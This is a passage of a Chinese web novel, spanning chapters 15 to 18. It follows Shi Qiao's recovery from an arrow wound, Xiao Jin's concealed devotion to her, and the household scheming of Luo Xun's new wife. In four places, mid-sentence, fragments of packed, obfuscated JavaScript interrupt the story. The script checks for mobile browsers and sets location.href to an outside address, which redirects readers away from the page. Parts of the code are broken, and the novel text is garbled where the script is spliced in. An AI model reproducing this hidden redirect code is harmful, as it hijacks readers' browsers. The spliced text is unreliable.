再看他三步一停，瞻前顾后，小心翼翼的样子，哪有半分战场上大杀四方的凶悍，又哪似坊间传言的那般凶狠恶煞？ 到了上房安顿好后，萧烬又看了时乔一眼，她还在独自承受着痛苦，在黑暗中挣扎。 萧烬别过眼，快步离开。 玉清道长下楼后就叫苦不迭，直嚷着某人太夸张，直到萧烬一记清凌凌的目光甩过来，方住了嘴，埋头吃饭。 在包子和羊肉见底时，护卫抓药回来了。 萧烬让道士亲自检查了一遍，方让交给小荷。 道士站起身，睨着萧烬，“你要呆这里守着？” 萧烬起身，回望了眼三楼客房，负手出了客栈。 驱马离开时，听见出来送客的小荷小声问何七：“他那么大的人物，又与姑娘素不相识，为啥对姑娘这么好？” 萧烬这才意识到，他竟无一个合理的身份和理由来帮她，既不会给她带来非议和困扰，又不会被她拒绝。 她遭遇的苦难太多，已经不起任何风雨。 回到国公府，已是子夜时分。 门房里亮着灯，里面隐隐有说话声。 萧烬站在窗外，面无表情地盯着里面的人。 李四在一旁解释，“您先前不是说，一旦罗大人要宿在府里，就他过来喝茶么？罗大人从茶楼出来后就回府了，卑职约莫着他就寝的时辰，让阎寺卿过去请人。” 萧烬：“以后不必了。” 李四一愣，不必了？ 那么罗大人的贞洁可就守不住了，时姑娘万一嫌弃，两人以后还怎么复合？ 看着主子周身浓烈的戾气，李四旋即明白过来：国公爷这是不打算撮合他们俩了？ 国公爷终于想通了！ 啊，他岂不是就要有女主子了！ 李四咧嘴笑了起来，“是！” 外面的说话声惊动了房里的人。房门“吱呀”一声打开，阎寺卿笑吟吟地迎了出来，恭恭敬敬行礼，“靖国公您回来了？罗大人一直在等您……” 话说到后半，却在看清靖国公神色的瞬间陡然滞住，变得结结巴巴。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16519638|186270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 此时的靖国公，实在骇人。虽素日也是冷峻寡言，却从未如此刻这般杀机蚀骨，戾气逼人。 他一言不发，只冷冷盯着阎寺卿身后，眼底墨色翻涌，似乎下一刻，便会从那墨色深处劈出一道惊雷来。 阎寺卿不着痕迹地往旁边挪了挪，以免被误伤。 罗珣自然也感受到那股浓重的戾气，心下暗凛，面上却仍从容，上前向萧烬行礼，“靖国公，您找下官？” 萧烬一双冷眸在他脸上停留良久，才寒声道：“你回吧。” 说罢转身即走，墨氅在身后如怒涛翻卷，裹挟着金戈交鸣的煞气。 罗珣站在原地，望着暗夜中的那道身影。 靖国公方才，分明对他动了杀机。 只是不知为何又压了下去。 回到外书房，萧烬周身的戾气仍未散去，在房中来回踱着步子。他没了素日的沉稳如山，步伐越来越急，越来越重，犹如一头被缚住了手脚的困兽。 “我说这位爷，你能不能坐下？转得我头晕！” 玉清道长吊儿郎当靠坐在太师椅上，“你就对我医术这么没信心？师父他老人家是怎么跟你说的来着？” 萧烬停了踱步。 玉清说的师父，是玄同真人。 真人医术通神，道法玄微，多少达官显贵欲求其一诊而不得。只是他淡泊名利，常年在外游历，闲云野鹤一般。 师父这一生收过两个半徒弟，真正拜入门内的一个是玉清，一个是他。 他和师父结缘于他十三岁那年。在母亲的筹谋下，他得了怪病久治不愈，眼看着怕是要夭折，威远侯无奈之下，将他从凉州送往京城，求助于皇上。在整个太医院都束手无策时，机缘巧合下他见到了玄同真人，那怪病，让真人给治好了。 玄同真人说与他有缘，便收他作关门弟子，于是他就成了玉清的师弟。 师父曾说，于救人一道，你师兄天赋异禀，你尽可信他。 师父说的没错。三年前他身中西凉奇毒，就连老谋深算的威远侯都笃定他必死无疑，即便他逃走了也毫不担心。可玉清却将他救活了。 萧烬沉眉看向玉清，“可你让我睡了足足一年半。” 醒来后他跑去庆原府寻时乔，却发现时乔已彻底爱上罗珣，与他同心同德，琴瑟和鸣。 他心底残存的最后一丝希望破灭了。在时乔心中，他终是被定格为救命恩人，长辈。 玉清心虚地干咳了两声，“你也知道那毒的厉害，能醒就不错了……” 他话锋一转，“但是！时姑娘不过是普通箭伤，对我来说小菜一碟，三日之内必醒！” 萧烬最终坐了下来。 三日，比先前说的三五日要强一些。 只要时乔能醒，一切都好说。 玉清瞧着他，“闹了这么大的动静，可想好如何解释了？” 并非他夸大其词，这位运筹帷幄的靖国公，在得知时乔危在旦夕时，什么都顾不得了，去酒楼扛上他就走，于闹市中策马狂奔，随后又封了客栈，多少双眼睛看见了？岂是封住客栈掌柜的嘴就行的？ 萧烬淡声道：“本公办案，何须与人解释。” 玉清白他一眼，“得，当我没说。” 萧烬垂眸喝茶。 但他需要给时乔一个解释，既圆了今夜失态之举，又能以后顺理成章地靠近她、护她周全。 他不想仅仅当她的救命恩人，更不想当她的长辈。 16. 第 16 章 连续三日，罗珣都在筹银子。 为朔北百姓筹银子，为补齐时乔的嫁妆筹银子。 大周国库空虚，罗府库房亦空虚，他苦心周旋奔走，结果却皆差强人意。 罗珣刚进府门，就有下人来传话，“老爷，老夫人让您过去一趟。” 罗珣按了按额角，抬脚去了正院。 罗老夫人坐在榻上，手边是一叠账簿，面色并不好。 她瞧了眼行礼的儿子，道：“刘管事说，公中的银子你几乎都取走了，还打算卖铺子卖地？” 罗珣垂手应是，“时乔的嫁妆，儿子得给她补齐了。” 罗老夫人叹了口气。 那么大的窟窿，又岂是容易填上的？ 待他凑齐银子，罗府大概只剩一个空壳子了。没了田庄和铺子的产出，罗府恐怕连最起码的体面都维持不住。 她指着炕桌上的黑漆描金匣子，“这里面有五万两银票，你拿去应急吧。” 罗珣连称不敢，“儿子如何能用您的体己银子。” 罗老夫人摆手道：“我深居简出，一年到头也花不了多少钱，这些银子白在那里放着，能给你应急也是好的。” 见儿子还是眉目沉凝，又宽慰道：“你放心，我好歹也是世家小姐出身，十里红妆嫁进来的，这些银子不算什么。” 罗珣撩袍跪下，伏地磕头，“儿子不孝，让母亲费心了。” 罗老夫人让他起来，将匣子塞到他手里：“我前几日之所以不拿出来，是盼着你能知难而退，打消和时乔和离的念头。如今看来，你心意已决，便也不拦你了。” 罗珣施了一礼，“谢母亲成全之恩。” 只是哪里是他心意已决，是时乔心意已决。 母子又说了一会子话，罗珣便告退了。 -- 锦园。 夏如蔷面色不太好。 她方才去婆母那里请安，恰好刘管事去禀事，她在里间隐约听说，罗珣将账上的银子几乎都支走了，还打算卖地卖铺子。她这才知道，原来时乔这三年帮罗珣垫了十几万两银子。 罗珣只跟她说时乔垫了银子，要给补齐，却没说垫了这么多。 罗家祖上煊赫，又几代单传，她原以为定积累下丰厚的家底，不成想竟这么容易就掏空了。 新嫁的夫家落魄到贱卖祖宗基业度日的地步，若传出去，她还有什么脸面出去见人？她本就有克夫家的名声，这回恐怕更要坐实了。 菡萏从外面回来，将几匣子茶叶放到桌上，“这是夫人给您的雾山冬茶，说是今年刚下的。” 她说的“夫人”，是夏如蔷的母亲王氏。 随即，她伏在夏如蔷耳边，低声道：“夫人让奴婢跟您说一声，时乔怕是不行了，吐了好多的血。” 夏如蔷本在榻上半倚着，闻言坐了起来：“当真？” 菡萏点头，“夫人一直派人盯着呢。就在姑爷给她和离书那晚，何七本是要去求雍王请高太医的，言语间似乎高太医之前出诊过。不知为何后来去的是靖国公，还带了个道士过去。” 夏如蔷大致能猜到，何七为何没请得动雍王。 离开罗府和夏府的庇佑，时乔什么都不是，贱民一个。雍王之前帮她，不过是看着罗珣的面子，如今和离书都写了，雍王身份贵重，又岂是她一个贱民可以攀附的。 她问：“怎就肯定，她不行了呢？” 菡萏左右看了看，方附耳过去，低声道：“夏家老爷特地去了趟太医院，高太医倒也没瞒着，说时乔伤及肺腑，又耽搁得太久，让老爷有个心理准备。” 夏如蔷颔首，“高太医都这么说，她恐怕是凶多吉少了。只是……万一那道士把她治好了呢？” 菡萏笑了笑，“听说那道士年纪轻轻，举止轻浮，怎么看也不像靠谱的。孙管事昨晚特意在客栈外面听了一会儿，隐约能听见俩丫头的哭声呢。” 夏如蔷终于放心下来，脸上阴霾一扫而空，露出一抹笑意来。 年轻道士？ 看样子，靖国公也不是真心想救时乔，恐怕是打算用她的死来打压罗珣吧？ 罗珣有筹粮之功，又有雍王相护，岂是这般容易被构陷的？罗珣娶平妻，他不就没能阻止得了么。 没想到还能有这种转机。 时乔若是死了…… 罗珣虽已写和离书，却还没去府衙报官呈籍，那么那十几万两银子，也就无人追究了。 这些银子倒是其次，时乔手里的酒坊和数百倾良田，那才是笔惊人的财富。 她心念一动，吩咐菡萏，“拿我的压箱银来。” 菡萏依言拿来，“姑娘，您这是？” 夏如蔷打开匣子，轻轻抚摸着里面的银票。时乔对罗珣倾囊相助，她夏如蔷也能。 她和罗珣成亲好几日了，却始终没有圆房。罗珣的托辞是公务繁忙，可她是女子，怎么会察觉不到罗珣对她态度的变化？ 因着侯府的那些聘礼，罗珣嘴上不说，心里已经不若原先那般信任她了。还有，时乔在罗旭心目中的地位，比她想象的还要重。 想要挽回罗珣的信任，她必须得做些什么才行。现在就是最好的机会。 “老爷回来了。” 外面传来丫鬟的请安声。 夏如蔷笑着迎了出去，服侍罗珣更衣。 次间很快就摆上了晚膳，琳琅满目满满一桌。 罗珣的目光一顿。 两个人用膳，这么多菜式，又样样精致考究，未免太过铺张浪费。 刚开始那几日，他以为许是新婚的缘故，饭菜丰盛些也无可厚非。可渐渐地他发现，这根本就是如蔷的日常。 担心剩下太多浪费，罗珣吃了不少，倒是夏如蔷，每样只吃了一两口，便不再动筷。 见她放下了筷子，罗珣问：“这几日你吃的都不多，可是菜品不合胃口？” 夏如蔷轻笑：“厨娘都是妾身从夏府带过来的，哪里会不合胃口。我一向是少食多餐，吃这些足够了。” 她笑看了眼罗珣面前的乳鸽虫草贡米粥，这已经是第二碗。 “妾身还让小厨房做了几样点心，过会儿就着茶吃，夫君到时可别吃不下。” 罗珣握着筷子，看着剩下泰半的一桌子饭菜，微微怔神。 时乔奉行节俭，两个人能有三菜一汤就算丰盛的了，且所有食材皆来自时乔的庄子，从不肯额外多花一文钱。也不知这一餐，要顶在庆原府多少日的伙食？ 用过晚膳，菡萏上了茶水点心。 夏如蔷起身为罗珣斟茶，“这是今冬新下的的雾山冬茶，可消食去燥，夫君尝尝。” 雾山冬茶，冬芽冬采，因着稀有，一斤能卖到一百多两银子，抵得上他几个月的俸银。若是让时乔知道，定然要说：“一百多两银子，得买多少粮食！” 如此想着，茶水入口，竟不觉滋味。 喝这么昂贵的茶，他心中有愧，总觉得对不住那些三餐不继的百姓。 “如何？”夏如蔷期待看着他。 罗珣放下茶盏，“果然名不虚传。” 夏如蔷莞尔一笑，“妾身这里刚得了三斤，夫君既喜欢，便让丫鬟给你外书房送去一斤。再送一斤去婆母那里，也让婆母尝尝。” 罗珣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16519639|186270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道，这是夏府送来的。 夏府奢靡，他略有耳闻，却不知竟奢靡至此。 如蔷的丰厚嫁妆已然让他咋舌，如今却还在不断刷新他的认知。 岳父出身寒门，家底浅薄，他那一年数百两的俸禄，恐怕买不起这三斤茶叶。岳母出身伯府，却是庶出，并未得多少嫁妆。他们即便经营二十年，恐怕也积累不出如此多的财富。 当年时乔断亲时，将她生母的嫁妆悉数从夏家剥离出来带走了，那十万两压箱银，是从岳父手里抠出来的，说是京中产业那十几年的收益。如今看来，应还是被岳父昧下不少。 却见夏如蔷将一个黄花梨木雕花匣子推给他，笑着道：“夫君打开看看。” 罗珣打开，见到里面的银票，抬眼看向她，“这是？” 夏如蔷笑嗔了他一眼，“夫君缺银子，也该告诉妾身一声。今日去婆母那里请安时，刘管事的话妾身都听到了。这里是六万两银票，多出来的那一万两……” 她语气一顿，微不可闻地叹了一声，“就当是我给姐姐赔不是了。” 罗珣看着夏如蔷。 她端庄坐着，眉目平和，坦坦荡荡。 这几日相处，又兼发生拿走侯府聘礼的事，他总觉得她似乎变了，不再是他印象中的夏如蔷。 可她若是贪图钱财，此时又怎会将自己的体己银子悉数拿出来，只为他不再为难，只为给时乔一个交代。 或许，变的人是他，而如蔷，还是那个争强好胜活得很累的女孩。 她做这些，还是因着她那颗不服输的心，时乔能为他做的，她也能。 罗珣暗叹了一口气，“你何苦活得这般辛苦？” 夏如蔷一愣，随即明白过来他说的是什么意思。 他以前也曾这般跟她说，其实她已经很好，不必这般辛苦。 她眼眶一红，别过头，没有说话。 她若过得好，又何必事事自己去争？ 父亲汲汲营营半生，不过是京兆府少尹，在皇亲国戚天潢贵胄如云的天子脚下不值一提。她拼尽全力让自己成为人人称道的才女，可在那些天生尊贵的贵女面前，却像个笑话。 后来她成了侯府少夫人，父亲借侯府之势升任京兆府尹，却依然没能享受到众星捧月的尊贵，那些明里暗里的嘲讽，让她几欲疯狂。 还有…… 夏如蔷闭了闭眼，泪珠盈睫。 烛火荧荧，映着她眼睫上的泪珠，欲掉不掉，倔强，又有几分可怜。 罗珣抬手用指腹帮她拭去眼泪，温声道：“你我不好，让你受委屈了。” 他若对她多一些信任，她也不必这般没安全感吧。 夏如蔷轻轻摇头，“妾身不委屈。” 茶雾盈盈，一室温情。 罗珣将匣子推还给他，“你的心意我领了，缺的银子，母亲已经给补上了。” 夏如蔷有些意外，婆母平日里不显山不露水，关键时候竟能拿出这么一大笔银子来。只不过，恐怕是用不上了。 不管怎样，她只等着乐享其成好了。 却见罗珣将茶水喝完，起身道：“我先去外书房了。” 夏如蔷一愣，她明明感觉罗珣对她态度缓和，为何还是要走呢？ 罗珣看出她的挽留之意，只是，现下他着实没那心思。 许是，事情太多的缘故吧。 他到底还是解释了句，“明日要和时乔交割嫁妆，估计得耽搁半日功夫，今晚得把公务赶出来。” 夏如蔷目送他出了院子，唇角勾起一抹冷笑。 交割嫁妆？ 怕是没机会了。 17. 第 17 章 晨光熹微，客房内阒然无声。 时乔睁开眼，看着趴在床边的两个丫鬟，两人形容憔悴，睡得正沉。 她悄悄起身，舒展了一下四肢，舒服地低低喟叹一声。不过睡了一觉，她就似重获新生，一个多月来身上从来没这么轻快过。 “姑娘你醒了！” 素心惊喜喊。 小荷也醒了，搓了搓眼，愣愣看着时乔，“我是做梦吧？” 时乔笑了笑，抬手抚上她乱糟糟的头发，“你怎睡这里了？” 小荷感受着温柔的抚摸，怔怔呢喃：“不是做梦……” 昨晚道士来施针时，说姑娘今日便能醒，果真醒了！ 她猛地爬上床，抱着时乔嚎啕大哭。 素心也跟着哭。 时乔看着抱头痛哭的两个丫鬟，满脸疑惑：“傻丫头，哭什么？我不过是睡了一觉……” 小荷却哭得更凶了，“姑娘睡了整整三日！我以为你再也醒不过来了！” 时乔愣住了。 三日？ 她知晓自己又吐血了，且五脏六腑痛得厉害，她只以为是太疼的缘故，将这一夜拉得格外漫长，似在炼狱中呆了一辈子。 可竟然睡了三日。 难怪她们俩这般憔悴，看着瘦了许多，恐怕是吓坏了吧？ 素心和小荷你一句我一句，将这几日发生的事大致说了一遍。 时乔听得心惊肉跳，她竟在鬼门关走了一遭。 问起那药丸的来历，小荷答：“何大哥说，药丸是将军留给姑娘用的，说非到命悬一线的地步不可用。这丸药难得，吃了便没了。” 时乔一怔，原来义父，又救了她一回。 小荷跑出去给温大娘报喜讯，素心则服侍时乔梳洗。 时乔坐在梳妆台前，失神地看着镜中摇曳的烛光，就似那夜将军为她燃起的篝火。 那夜，在她绝望之际，他银面铁盔，战袍染血，犹若从天而降的战神，顷刻间便将她房内的匪贼屠戮殆尽。 那时她已是衣不蔽体，若他再来迟一步，恐怕贞节不保。她蜷缩在床上惊恐看着他，不知接下来迎接她的是福是祸。却见那将军扬手扯下一截幔帐扔到她身上，随后拖走了那几具尸首，替她关上房门。 她贞洁虽在，可少女的羞耻心却被撕扯得粉碎，再兼丧母之痛，哪怕有母亲的叮嘱在前，她依然一度崩溃，有了轻生的念头。 可当从外面的交谈声中得知，那帮匪贼是潜进来的西凉兵，救她的是朔北军将士时，她突然不想死了。 她洗去泪痕穿戴整齐，抱着一匣子银子走出房门。 银面将军已将匪贼的尸首处理干净，正欲率部下离开。 她奉上银两，跪地磕头，“民女谢将军救命之恩。” 银面将军沉默片刻道：“姑娘若要答谢，便给些吃食吧。” 她听得出将军说出这句话时的难堪，还有对士兵的心疼、愧疚，甚至还有压抑胸腔的愤懑。 彼时庄子上只她们主仆四人活了下来，素心八岁，小荷六岁，两人藏在橱子里躲过一劫，吓得已不会说话。安顿好她们俩，她便和温大娘一起领着士兵蒸馒头，蒸米饭。 士兵们吃到了几日来的第一顿饭，旁人吃得狼吞虎咽，将军却一口没吃。 一个老兵说，他们刚刚经历一场恶战，惨胜，两千将士只剩下不足百人。粮草不继，将士们到最后是饿着肚子打仗，本是极有把握的一场战事，却差一点全军覆没。 老兵铮铮汉子，却哭得涕泗横流：“我们但凡有三天的粮食，也不至于死这么多人！” 那或许是银面将军最不愿意提及的一场战役。虽胜了，却损兵折将，偏他还活着。听说在那之后不久，朝廷便下了一道问罪诏书，夺了银面将军的将军职，雍王也因此受到皇上诘难。 夜色中，银面将军孑然而立，背影萧索、悲凉。 她去将母亲包的包子热了，端给他：“将军吃包子吧。” 他转过身，“多谢姑娘。我吃馒头就好。” 他的声音嘶哑，低沉，就似含着沙，裹着血，沉重得让她透不过气。 他将无数将士的生死压到了自己身上，每一条命，都重若千钧。近两千条人命压过来，他快要垮了吧？ 她突然觉得，在那些慷慨赴死的将士面前，自己的痛苦比起来算得了什么？ 眼看着银面将军转身离开，似要避嫌，她追了上去。 “将军，你以后若是缺粮，便来庄子上找我。” 银面将军停下脚步，转头看向她。 她仰起脸，郑重承诺：“我来为将军筹粮。” 夜色下的面具泛着清冷的银光，他看着她沉默了许久。 他抱拳郑重施礼，铠甲铿锵作响，“多谢。” 他的声音，比方才似乎多了些力量。 她举起手中盘子，“是我多谢将军。” 银面将军终是接过了包子，与士兵们分着吃了。 庄子里死的人太多，屋里摆不下，将军亲自动手帮她搭设灵堂，燃上了篝火。 那堆篝火，照破了那夜的黑暗，成了她往后余生最明亮最温暖的光。 每每她支撑不下去时，只要想到那抹温暖和光亮，便又有了走下去的勇气。 离开时，他问：“你可好？” 她回答他：“我会活下去，我还要为将军筹粮。” 他沉声赞道：“好！我等着你的粮食！” 后来她方想明白，他说这些话，是怕她会寻死吧？ 他为保全她的名声，还将何七留下给她作护院，让她对外声称那些匪贼是何七杀的。 后来她长大了，学了些防身之术，便想将何七还给他，也好在战场上护他周全。 他拒绝了。 他说，她为朔北军筹粮，说不得会引来无妄之灾，有何七在，哪怕是阎王爷亲自来索命，也要等一等。 她彼时只觉得他是在开玩笑。 可原来竟是真的。 他果真，替她拦住了阎王爷。 时乔喉间哽住，一股酸楚的暖意绞拧着攀升，撞得胸腔生疼。她倏然偏过头，泪水毫无预兆地跌落，洇湿了衣襟。 原来那些她不曾知晓的岁月静好，背后尽是义父沉默无声的苦心铺就。 他赋予她的，不仅仅是救命之恩， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16519640|186270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 更有父亲般的守护，让她有了对抗苦难的底气。 父爱如山，大致便是如此吧。 而今，山水已永隔。 …… “姑娘吃饭了！” 小荷和温大娘欢天喜地，端来粥饭，并几样清淡小菜。 小荷给她盛了一碗乳鸽粳米粥，“温大娘每日都会熬这么一罐子粥，放在炉子上温着，里面加了紫团参。人参是道士给的，说是贵而不峻，最适合姑娘现在吃。可他看起来比咱还落魄，饿死鬼投胎一般，哪里有什么好参？我不过质疑了一句，他就跳脚说我以貌取人，后来说漏了嘴，那人参竟是靖国公差人送去他那里的……” 时乔小口喝着粥，听着小荷喋喋不休。 “还有咱这上房，也是靖国公出银子给换的，噢不对，他是将整个客栈给包下来了。掌柜的现在可殷勤了！” “姑娘你说，靖国公为何帮咱呢？” 时乔也不明白。 她和靖国公唯一的交集，就是庆原府城前的那次见面，两人之间着实谈不上有什么私交。 她唯一能想到的可能就是，或许与威远侯通敌案有关。却不知，是因着裴二爷曾经的求娶，还是什么？可他这个样子，也不像是要追究她罪责的。 正思量着，就听一个吊儿郎当的声音在窗外响起，“听这动静，人是醒了啊！” 小荷扯扯时乔的衣袖，小声说：“那个道士来了！他爱说胡话，姑娘你且听着便是，不必搭理他！” 外面的道士气哄哄地嚷嚷，“小丫头，我可听着呢！有你这么说救命恩人的吗！” “我，我开玩笑呢！” 小荷跑去给他开门，热情地跟道士打招呼，“道长你可真神了，姑娘果真今早就醒了！” 玉清道长冷哼，“不要以为我不知道，你背地里可没少说我不靠谱！” 小荷讪讪，见靖国公在后面，忙向他行礼问安。 萧烬走上前，颇为温和地问小荷：“时姑娘可是醒了？” 小荷如今对靖国公敬佩得很，救了她家姑娘两次诶。 旁人都觉得他吓人，她怎觉得他颇和蔼可亲呢？比前姑爷的铁石心肠强多了！ 她恭恭敬敬福了一礼，“回国公爷，姑娘已经醒了。” 却听玉清道长凉飕飕道：“他是问，他方不方便进去。” 萧烬冷瞥了他一眼，还不待小荷想好如何回话，就见时乔已转过屏风，走到房门口。 她看起来气色好了一些，脸上已有些许血色，原本干涸的眉眼似注入了涓涓清泉，有了清润之意。鸦青鬓发松松挽起，几缕碎发垂在颊侧，为那张只剩巴掌大的小脸凭添了些许柔婉之态。 毕竟大病初愈，她看起来还是怕冷，身上的丁香色缠枝忍冬纹袄子颇厚实，许是因着听见他们来了，又在外面罩上了那件半旧的银红斗篷。 亲眼看到她醒了，萧烬那颗悬了多日的心终于落地了。 他下意识地上前走了两步，却见那姑娘并未跨出房门，只停在门槛之内。他脚步一顿，心底漫上难以言喻的失落。 时乔这是在与他避嫌。他都忘了，他于时乔而言，不过是个陌生人。 18. 第 18 章 时乔并未将道士的调侃之语当真。 她谨守着礼数，眉眼微微低垂，对着萧烬屈膝福礼。 “靖国公数次相助之恩，民女本应郑重拜谢，奈何客房内病气未散，恐污尊体，实在不敢请国公爷入内。怠慢之处，还望见谅。” 她语气温婉，恭敬，透着疏离。 萧烬负在身后的手指微微一动，终是忍住了虚扶的念头，只温声让他起来。 时乔直起身。 她心知靖国公无事不登三宝殿，此来必有缘由，许是碍于之前的些许情面不好开口，便主动开口询问：“靖国公日理万机，今日亲临，不知有何吩咐？” 萧烬此行目的单纯，只因玉清说她今早会苏醒，他想亲眼确认一下，她是否安好。但这般心思，自是不能诉之于口。 好在，那日经小荷提醒，他提前想好了顺理成章接近她的借口。 他沉声道：“是有公务上的事要劳烦姑娘，不过须过几日再说。今日来是与姑娘说一声，暂且莫要离京。” 他之所以要推迟几日，皆因她做事往往过于投入，尤其是一旦涉及粮食，更是到了废寝忘食的地步。她现下身子上虚弱，实不能劳心劳力，横竖只是借口，就不必着急了。 时乔暗暗松了一口气。 不是与裴二爷有关就好。 只是奇怪，他既然今日没打算劳烦她，又何必亲自来这一趟，让道长或者护卫代为转达就是。 面上，她还是保持着该有的恭敬和微笑，“靖国公若有需要，民女随时乐意效劳。” 萧烬看着眼前女子那得体又疏离的微笑，心底那丝若有若无的失落感又悄然弥漫开来。 “那就先谢过姑娘了。” 玉清道长在一旁看得直摇头。 “你们客套完了没？我要诊脉了。” 时乔对着歪歪扭扭倚着栏杆的玉清道长略一打量，确如小荷所言，不像是靠谱的。还真是人不可貌相呐。 她笑着侧身，“道长请进。” 玉清得意地冲萧烬扬了扬下巴，抬脚进了门。 萧烬抿着唇，看着他们绕过屏风进了里面，彻底被挡住了视线。 他在来之前，设想了许多两人今日见面的场景，却万万没想到会是这个样子。没坐下与她一起喝茶聊天也就罢了，他竟连房门都没进去。 自始至终，时乔都没正眼看他，待玉清都比待他亲近得多。 萧烬在外面等了没多久，就听里面玉清说：“很不错，壅淤都通开了，以后不必再施针，只服汤药即可。” 然后便是时乔的道谢声。 那声音里含着由衷的笑，让萧烬的唇角也跟着微微扬起。 玉清诊完脉却不着急走，瞧着八仙桌上的早膳未撤，他随手摸起一个包子吃起来，一边与时乔唠着嗑。 “这家店的羊肉包子虽好吃，可比起庆原府的，还是略逊一筹。” 时乔问道：“道长去过庆原府？” 玉清刚咬了一大口包子，含混不清道：“当然去过。就在去年秋天，跟着……” 萧烬站在窗外走廊边，手指轻叩栏杆。 一下，两下，三下…… 玉清刚要出口的话又咽了回去，同时也将嘴里的半个包子囫囵着吞了下去，噎得他直翻白眼。 他捶了好一会儿的胸口，又连灌两盏茶，方道：“跟着师父去的！师父他老人家闲云野鹤，时常云游四方……” 差点给师弟露馅儿。 他那师弟沉睡了一年多，醒来后第一件事就是驱马千里跑去庆原府看心上人，他不放心，就跟着去了。 眼看着师弟竟要翻人家墙头，他实没那等癖好，便去寻了家最正宗的羊肉包子店，一盆羊肉包子尚未吃完，师弟就失魂落魄地回来了，一句话没说，便连夜离开庆原府。 害得意犹未尽的他，到现在都对那包子念念不忘。 时乔倒也没往别处想，笑道：“道长既喜欢，下次来看诊时，便给你包些正宗的庆原府羊肉包子。” 玉清大喜，搓着手道：“那就先谢过姑娘了！” 时乔笑，“道长妙手仁心，是我谢道长才是。” 得了包子的许诺，玉清热切了许多，连写了好几个药膳方子，“这都是温补的方子，你好好补补，不出几日，保你唇红齿白，容光焕发！我旁的本事也多着呢，驱邪避凶、占卜问卦、延年益寿、美容驻颜、求子求福……你以后有什么需要，尽管吩咐！” 他浑然不觉对着一个刚和离的女子说“求子求福”有什么不妥，又伸手拿了一个包子打算吃时，就听那叩击声又响了起来。 声音比方才重了不少，威胁之意显而易见。 玉清也不敢太过挑衅他这师弟的耐性，又抓了几个包子塞到怀里，笑吟吟与时乔告辞。 时乔送至房门口，又对着靖国公福了一礼，微笑着目送他们下楼。 那笑意里，有恭敬，更有劫后余生、恍如隔世的欣然。 一场大劫，宛若一次新生。随着身体逐渐复苏，那股支撑她走下去的心气，似乎也重新回到了体内。 当她的目光无意间掠过楼下那道清隽的身影时，她有些意外地发现，她的心底竟平静无波，未起一丝涟漪。 而此时，萧烬那双难得温和的眉眼，却在看清迎面走来之人时，骤然结满了冰霜。 罗珣亦未料到会在此处遇见靖国公，当即上前一步，执礼甚恭：“见过国公爷。” 萧烬目光冷峭，如寒刃般在他身上一顿，并未停留，径直朝客栈门口走去。 只是，他的步伐不着痕迹地放缓了。 迈出客栈大门时，他回眸望向三楼。恰见那女子对来人浅淡一句：“进来吧。” 罗珣侧身入内，房门在他身后轻轻合上。 玉清将萧烬晦暗的神色尽收眼底，轻笑揶揄：“你进不去的门，我能进，罗大人……也能进。” 萧烬瞧他一眼，淡声道：“李四，回府跟厨房里说一声，今晚的烤全羊不必做了。” 李四笑眯眯应下，“是！” 玉清顿时急了，拦下李四，“别啊！是我说错话了，我给你道歉不成吗！” 萧烬：“迟了。” - 进门后，时乔并未请罗珣到里面坐，只站在门口屏风处，“看来，罗大人已经筹齐银两了。” 罗珣答非所问，“靖国公可是来寻你的？我来时客栈关着门，掌柜得了靖国公侍卫的许可才让我进来，是因为什么？” 时乔尚未说话，憋了一肚子愤恨的素心就先恼了，“大人是在质问姑娘吗？你有什么资格质问夫人？” 姑娘为了他在鬼门关走了一遭，他却一无所知。但凡他对姑娘的病情有一丝担忧，也不至于三天来不闻不问！ 若不是靖国公，姑娘此时恐怕已经没了！ 三日来，积蓄在心中所有的恐惧、愤懑，在此刻一下子爆发出来，她双目赤红，狠狠盯着罗珣，“举头三尺有神明，罗大人就不怕遭报应吗！” 罗珣被骂得莫名其妙。 这丫鬟一向安静懂礼，今日这是怎了？那日写和离书时也没见她这般愤恨。 心念一转，他问：“这几日发生了什么？” 素心冷笑：“大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16519641|186270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人知道了又有何用？若不是……” “素心！”时乔对着她轻轻摇头。 